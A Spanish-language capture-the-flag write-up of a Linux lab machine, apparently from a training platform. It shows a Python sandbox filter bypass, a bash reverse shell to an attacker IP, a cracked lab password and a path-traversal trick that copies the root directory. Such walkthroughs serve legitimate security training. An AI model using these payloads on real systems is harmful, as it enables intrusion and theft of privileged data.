- Tags: #Linux #Easy #Python
Reconocimiento
- Identificación de sistema operativo a través de ping

- Como el ttl es cercano a 64, se puede saber que la máquina es Linux
- Identificación de puertos abiertos con Nmap
- Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina 1
- Se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor

- Revisión de la página web desplegada por el puerto 5000 de la máquina Code
-
Al ingresar a la página se puede observar una plataforma que ejecuta código en python:

-
Al intentar importar librerías como
ossale un mensaje diciendo que se está usando una palabra restringida:
- Bypass de control de palabras restringidas
- Se intenta saltar el control de palabras restringidas usando lo siguiente2:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('ping -c 1 10.10.16.91')
- De esta manera, si se pone en "escucha" de trazas icmp desde la máquina atacante, se puede comprobar si dicho código se salta el control de palabras restringidas:

Acceso al sistema como usuario no privilegiado
- Obtención de reverse shell
- Como se puede observar, se ha podido saltar el control de palabras, por lo que ahora, en vez de enviar una traza icmp, se puede enviar una reverse shell a la ip atacante con el siguiente código:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('bash -c "bash -i >& /dev/tcp/10.10.16.91/443 0>&1"')

- Flag de usuario no privilegiado
- Se retrocede un directorio y se encuentra la flag del usuario no privilegiado:

Escalada de privilegios
- Búsqueda de archivos en el directorio actual e ingreso como usuario "martin"
-
Se realiza un
find .para listar todos los archivos que hay en el directorio de trabajo:
-
Hay un archivo que llama la atención llamado "databasae.db", el cual, al hacerle un
fileindica que es un archivo de SQLite:
-
Se abre el archivo con sqlite3 y se lista el contenido de la tabla "user":

-
Se intenta buscar la contraseña del usuario "martin", ya que esta se encuentra en md5:

-
Una vez encontradas las credenciales (martin/nafeelswordsmaster), se puede ingresar por ssh:

- Revisión de permisos del usuario "martin" y modificación de archivos
-
Una vez se ha ingresado por ssh, se lista todo lo que el usuario puede ejecutar como sudo:

-
Al listar el contenido de
/usr/bin/backy.shse puede ver que pide un archivo json, que en este caso se encuentra en la carpetabackups
-
El contenido del archivo
task.jsones el siguiente:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
- Analizando el archivo
backy.shse puede ver que hay una línea que "elimina" todo../que haya dentro del archivo json:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
- Por lo que, como solo se está haciendo esta comprobación, se podría intentar saltar esta validación de la siguiente forma:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root"
]
}
- Flag de root
-
Se ejecuta el script backy.sh junto con el archivo
task.jsonmodificado:
-
Se descomprime la carpeta que ha creado el script:

-
Se ingresa a la carpeta y se obtiene tanto la flag de root como una clave privada para conectarse por ssh:


Footnotes
-
Se hizo un escaneo anterior a este pero no se realizó captura de pantalla de este, el comando de dicho escaneo es:
nmap -sS -p- --open --min-rate 5000 -n -Pn 10.10.11.62 -oG allPorts↩ -
Explicación: Este bypass funciona porque el intérprete restringe palabras clave mediante una lista negra por texto, pero en Python es posible reconstruir esos nombres y acceder a objetos sensibles por rutas alternativas.
print.__self__devuelve el módulobuiltins, que contiene la función__import__. Congetattr(print.__self__, '__im' + 'port__')se forma dinámicamente el nombre__import__, evitando escribirlo literal y eludiendo el filtro. Luego, se importa el móduloossin escribir"os"directamente ('o' + 's') y se accede a su funciónsystemcongetattr(test, 'sy' + 'stem'). Así se logra ejecutar comandos arbitrarios (os.system(...)) sin usar ninguna de las palabras prohibidas. ↩